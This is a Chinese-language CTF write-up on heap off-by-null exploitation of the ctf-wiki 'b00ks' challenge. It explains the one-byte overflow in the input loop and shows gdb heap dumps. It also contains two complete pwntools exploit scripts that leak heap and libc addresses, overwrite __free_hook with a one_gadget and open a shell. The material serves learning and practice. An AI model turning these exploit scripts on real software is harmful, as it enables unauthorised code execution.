怎么说呢,知易行难吧,还是多写一写,多留存一点资料,这会是一个专题,off_by_null的第一部分,这几天不再想做题了,等过一段时间,有空再把后续的部分更新了吧
原理部分:
摘自wiki:
off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括
使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。
字符串操作不合适
一般需注意栅栏错误和strcopy()
一般来说,单字节溢出被认为是难以利用的,但是因为 Linux 的堆管理机制 ptmalloc 验证的松散性,基于 Linux 堆的 off-by-one 漏洞利用起来并不复杂,并且威力强大。 此外,需要说明的一点是 off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等,但是堆上(heap based) 的 off-by-one 是 CTF 中比较常见的。我们这里仅讨论堆上的 off-by-one 情况
类型一:
bss段上储存有堆的维护结构体,利用off_bu_null修改上面的结构体。
这种题型,一般只是涉及修改指针,不用需要考虑的free机制比较少
题目:wiki上的b00ks
链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/off_by_one/Asis_2016_b00ks
题目没什么奇怪的地方,简单看一下,几个函数的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 __int64 add () { int size; int index; void *book; void *name; void *description; size = 0 ; printf ("\nEnter book name size: " ); __isoc99_scanf("%d" , &size); if ( size < 0 ) goto LABEL_2; printf ("Enter book name (Max 32 chars): " ); name = malloc (size); if ( !name ) { printf ("unable to allocate enough space" ); goto LABEL_17; } if ( reads(name, size - 1 ) ) { printf ("fail to read name" ); goto LABEL_17; } size = 0 ; printf ("\nEnter book description size: " ); __isoc99_scanf("%d" , &size); if ( size < 0 ) { LABEL_2: printf ("Malformed size" ); } else { description = malloc (size); if ( description ) { printf ("Enter book description: " ); if ( reads(description, size - 1 ) ) { printf ("Unable to read description" ); } else { index = get_index(); if ( index == -1 ) { printf ("Library is full" ); } else { book = malloc (0x20 uLL); if ( book ) { *(book + 6 ) = size; *(index_of_book_in_bss + index) = book; *(book + 2 ) = description; *(book + 1 ) = name; *book = ++some_size; return 0LL ; } printf ("Unable to allocate book struct" ); } } } else { printf ("Fail to allocate memory" ); } } LABEL_17: if ( name ) free (name); if ( description ) free (description); if ( book ) free (book); return 1LL ; }
在add函数里,其实可以随便选,并没有真正的限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 __fastcall reads (_BYTE *buf, int size_1) { int i; if ( size_1 <= 0 ) return 0LL ; for ( i = 0 ; ; ++i ) { if ( read(0 , buf, 1uLL ) != 1 ) return 1LL ; if ( *buf == '\n' ) break ; ++buf; if ( i == size_1 ) break ; } *buf = 0 ; return 0LL ; }
这里说一下,这种off_by_null的特征(不是一定):
就是循环结束以后,会有以下语句,会将最后写入内容的后一位字节写为0x00
在change_an()这里也有同样的漏洞
1 2 3 4 5 6 7 8 __int64 change_an () { printf ("Enter author name: " ); if ( !reads(anuthor_name, 32 ) ) return 0LL ; printf ("fail to read author_name" ); return 1LL ; }
我重点说一下方法一
开始利用:
为了方便理解,先写出准备部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import * from LibcSearcher import * context (log_level ='debug' , arch = 'amd64' ,os ='linux' ) io = process('./b00ks' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) # libc = ELF('./libc-2.23_x64.so' ) # io = remote('node3.buuoj.cn' ,26987) def debug(): # raw_input() gdb.attach(io) def add(size1,name,size2,description): io.recvuntil("> " ) io.sendline("1" ) io.recvuntil("size:" ) io.sendline(str(size1)) io.recvuntil("(Max 32 chars):" ) io.sendline(name) io.recvuntil("size:" ) io.sendline(str(size2)) io.recvuntil("description:" ) io.sendline(str(description)) def edit(index,description): io.recvuntil("> " ) io.sendline("3" ) io.recvuntil("edit:" ) io.sendline(str(index)) io.recvuntil("description: " ) io.sendline(description) def dele(index): io.recvuntil("> " ) io.sendline("2" ) io.recvuntil("delete: " ) io.sendline(str(index)) def show(): io.recvuntil("> " ) io.sendline("4" ) def change_Au(Author): io.recvuntil("> " ) io.sendline("5" ) io.recvuntil("name:" ) io.sendline(Author)
开始:
先将anthor name(在bss段上)填充完
1 2 3 4 io.recvuntil("Enter author name:" ) io.sendline("a" *0x20 )
1 2 3 4 5 6 7 8 9 pwndbg> x/80gx 0x561d03184000 0x561d03184000: 0x0000000000000000 0x0000561d03184008 0x561d03184010: 0x0000561d03184060 0x0000561d03184040 0x561d03184020: 0x0000000000000000 0x0000000000000000 0x561d03184030: 0x0000000000000000 0x0000000000000000 0x561d03184040: 0x6161616161616161 0x6161616161616161<== 0x561d03184050: 0x6161616161616161 0x6161616161616161 0x561d03184060: 0x0000000000000000 0x0000000000000000 0x561d03184070: 0x0000000000000000 0x0000000000000000
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> x/80 gx 0x561d03184000 0x561d03184000 : 0x0000000000000000 0x0000561d03184008 0x561d03184010 : 0x0000561d03184060 0x0000561d03184040 0x561d03184020 : 0x0000000100000000 0x0000000000000000 0x561d03184030 : 0x0000000000000000 0x0000000000000000 0x561d03184040 : 0x6161616161616161 0x6161616161616161 0x561d03184050 : 0x6161616161616161 0x6161616161616161 0x561d03184060 : 0x0000561d047f3140 0x0000000000000000 <===chunk0的堆管理部分,打印的时候可以把这个对指针一块带出来0x561d03184070 : 0x0000000000000000 0x0000000000000000 0x561d03184080 : 0x0000000000000000 0x0000000000000000 0x561d03184090 : 0x0000000000000000 0x0000000000000000
Sent 0x2 bytes: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 '4\n' [DEBUG] Received 0xda bytes: 00000000 49 44 3a 20 31 0a 4e 61 6d 65 3a 20 6e 6e 6e 6e │ID: │1·Na│me: │nnnn│ 00000010 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e │nnnn│nnnn│nnnn│nnnn│ 00000020 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 0a 44 65 73 │nnnn│nnnn│nnnn│·Des│ 00000030 63 72 69 70 74 69 6f 6e 3a 20 64 64 64 64 64 64 │crip│tion│: dd│dddd│ 00000040 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 │dddd│dddd│dddd│dddd│ * 000000a0 64 64 64 64 64 64 64 64 64 64 0a 41 75 74 68 6f │dddd│dddd│dd·A│utho│ 000000b0 72 3a 20 61 61 61 61 61 61 61 61 61 61 61 61 61 │r: a│aaaa│aaaa│aaaa│ 000000c0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ 000000d0 61 61 61 40 31 7f 04 1d 56 0a <===堆地址 │aaa@│1···│V·│ 000000da the heap addr=======>0x561d047f3140
然后我们申请两个稍大的堆块,使得被如果bss段中地址被修改。修改后的堆地址(chunk0的管理堆)指向chunk0的describle部分
再次利用change_au函数出发off_by_null,修改bss段chunk0管理堆地址的低位
1 2 3 4 5 6 7 8 9 pwndbg> x/80gx 0x561d03184000 0x561d03184000: 0x0000000000000000 0x0000561d03184008 0x561d03184010: 0x0000561d03184060 0x0000561d03184040 0x561d03184020: 0x0000000100000000 0x0000000000000000 0x561d03184030: 0x0000000000000000 0x0000000000000000 0x561d03184040: 0x6161616161616161 0x6161616161616161 0x561d03184050: 0x6161616161616161 0x6161616161616161 0x561d03184060: 0x0000561d047f3100 0x0000000000000000<==修改后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pwndbg> x/80gx 0x561d047f3000 0x561d047f3000: 0x0000000000000000 0x0000000000000000 0x561d047f3010: 0x0000000000000000 0x0000000000000081 0x561d047f3020: 0x6e6e6e6e6e6e6e6e 0x6e6e6e6e6e6e6e6e 0x561d047f3030: 0x6e6e6e6e6e6e6e6e 0x6e6e6e6e6e6e6e6e 0x561d047f3040: 0x0000000000000000 0x0000000000000000 0x561d047f3050: 0x0000000000000000 0x0000000000000000 0x561d047f3060: 0x0000000000000000 0x0000000000000000 0x561d047f3070: 0x0000000000000000 0x0000000000000000 0x561d047f3080: 0x0000000000000000 0x0000000000000000 0x561d047f3090: 0x0000000000000000 0x00000000000000a1 0x561d047f30a0: 0x6464646464646464 0x6464646464646464 0x561d047f30b0: 0x6464646464646464 0x6464646464646464 0x561d047f30c0: 0x6464646464646464 0x6464646464646464 0x561d047f30d0: 0x6464646464646464 0x6464646464646464 0x561d047f30e0: 0x6464646464646464 0x6464646464646464 0x561d047f30f0: 0x6464646464646464 0x6464646464646464 0x561d047f3100: 0x0000000000000001 0x0000561d047f3190<==指向这里,其中的 0x561d047f3110: 0x0000561d047f3400 0x0000000000000fff内容是我们伪造的堆块信息 0x561d047f3120: 0x0000000000000000 0x0000000000000000相当于产生堆重叠,可以修改这两个指针指向 0x561d047f3130: 0x0000000000000000 0x0000000000000031我们期望的地址,实现任意地址读写 0x561d047f3140: 0x0000000000000001 0x0000561d047f3020 0x561d047f3150: 0x0000561d047f30a0 0x0000000000000090 0x561d047f3160: 0x0000000000000000 0x0000000000020ea1 0x561d047f3170: 0x0000000000000000 0x0000000000000000 0x561d047f3180: 0x0000000000000000 0x0000000000000000
这里我写入了__free_hook
1 2 3 4 5 6 7 8 0x562494e44160: 0x0000000000000000 0x0000000000000021 0x562494e44170: 0x0000000000000000 0x0000000000000000 0x562494e44180: 0x0000000000000000 0x0000000000000111chunk2的堆管理结构体 0x562494e44190: 0x00007fcd03c5fb78 0x00007fcd03c5fb78<===__free_hook 0x562494e441a0: 0x0000000000000000 0x0000000000000000 0x562494e441b0: 0x0000000000000000 0x0000000000000000 0x562494e441c0: 0x0000000000000000 0x0000000000000000
完整EXP:
利用任意读写将unsorted bin的libc地址读出来,获得libcbase
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import *from LibcSearcher import *context(log_level ='debug' , arch = 'amd64' ,os ='linux' ) io = process('./b00ks' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) def debug (): gdb.attach(io) def add (size1,name,size2,description ): io.recvuntil("> " ) io.sendline("1" ) io.recvuntil("size:" ) io.sendline(str (size1)) io.recvuntil("(Max 32 chars):" ) io.sendline(name) io.recvuntil("size:" ) io.sendline(str (size2)) io.recvuntil("description:" ) io.sendline(str (description)) def edit (index,description ): io.recvuntil("> " ) io.sendline("3" ) io.recvuntil("edit:" ) io.sendline(str (index)) io.recvuntil("description: " ) io.sendline(description) def dele (index ): io.recvuntil("> " ) io.sendline("2" ) io.recvuntil("delete: " ) io.sendline(str (index)) def show (): io.recvuntil("> " ) io.sendline("4" ) def change_Au (Author ): io.recvuntil("> " ) io.sendline("5" ) io.recvuntil("name:" ) io.sendline(Author) io.recvuntil("Enter author name:" ) io.sendline("a" *0x20 ) debug() add(0x70 ,'n' *0x20 ,0x90 ,'d' *0x70 ) show() io.recvuntil('a' *0x20 ) addr = u64(io.recv(6 ).ljust(8 ,'\x00' )) print "the heap addr=======>" + hex (addr)edit(1 ,'d' *0x60 +p64(0x1 )+p64(addr+0x50 )+p64(addr+0x2c0 )+p64(0xfff )) change_Au("a" *0x20 ) add(0x10 ,'a' ,0x100 ,'b' ) add(0x10 ,"/bin/sh;" ,0x100 ,'b' ) dele(2 ) show() io.recvuntil("Name: " ) addr_on_lib = u64(io.recv(6 ).ljust(8 ,'\x00' )) print "the addr_on_lib=======>" + hex (addr_on_lib)offset =0x3c4b78 libcbase = addr_on_lib -offset free_hook = libcbase + libc.sym["__free_hook" ] edit(1 ,p64(3 )+p64(free_hook)+p64(free_hook)+p64(0xfff )) one =[0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] ONE = libcbase + one[1 ] edit(3 ,p64(ONE)) dele(3 ) io.interactive()
方法二:
wiki上的
利用申请大堆块,利用manp()函数。新的heap段将会与libc有一个固定的偏移,可以算出libcbase
EXP直接用的wiki上的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 from pwn import *context.log_level="info" binary = ELF("b00ks" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) io = process("./b00ks" ) def debug (): gdb.attach(io) def createbook (name_size, name, des_size, des ): io.readuntil("> " ) io.sendline("1" ) io.readuntil(": " ) io.sendline(str (name_size)) io.readuntil(": " ) io.sendline(name) io.readuntil(": " ) io.sendline(str (des_size)) io.readuntil(": " ) io.sendline(des) def printbook (id ): io.readuntil("> " ) io.sendline("4" ) io.readuntil(": " ) for i in range (id ): book_id = int (io.readline()[:-1 ]) io.readuntil(": " ) book_name = io.readline()[:-1 ] io.readuntil(": " ) book_des = io.readline()[:-1 ] io.readuntil(": " ) book_author = io.readline()[:-1 ] return book_id, book_name, book_des, book_author def createname (name ): io.readuntil("name: " ) io.sendline(name) def changename (name ): io.readuntil("> " ) io.sendline("5" ) io.readuntil(": " ) io.sendline(name) def editbook (book_id, new_des ): io.readuntil("> " ) io.sendline("3" ) io.readuntil(": " ) io.writeline(str (book_id)) io.readuntil(": " ) io.sendline(new_des) def deletebook (book_id ): io.readuntil("> " ) io.sendline("2" ) io.readuntil(": " ) io.sendline(str (book_id)) createname("A" * 32 ) createbook(128 , "a" , 32 , "a" ) createbook(0x21000 , "a" , 0x21000 , "b" ) book_id_1, book_name, book_des, book_author = printbook(1 ) book1_addr = u64(book_author[32 :32 +6 ].ljust(8 ,'\x00' )) log.success("book1_address:" + hex (book1_addr)) payload = p64(1 ) + p64(book1_addr + 0x38 ) + p64(book1_addr + 0x40 ) + p64(0xffff ) editbook(book_id_1, payload) changename("A" * 32 ) book_id_1, book_name, book_des, book_author = printbook(1 ) book2_name_addr = u64(book_name.ljust(8 ,"\x00" )) book2_des_addr = u64(book_des.ljust(8 ,"\x00" )) log.success("book2 name addr:" + hex (book2_name_addr)) log.success("book2 des addr:" + hex (book2_des_addr)) libc_base = book2_des_addr - 0x5b9010 log.success("libc base:" + hex (libc_base)) debug() free_hook = libc_base + libc.symbols["__free_hook" ] one_gadget = libc_base + 0x4f322 log.success("free_hook:" + hex (free_hook)) log.success("one_gadget:" + hex (one_gadget)) editbook(1 , p64(free_hook) * 2 ) editbook(2 , p64(one_gadget)) deletebook(2 ) io.interactive()
后续再更…….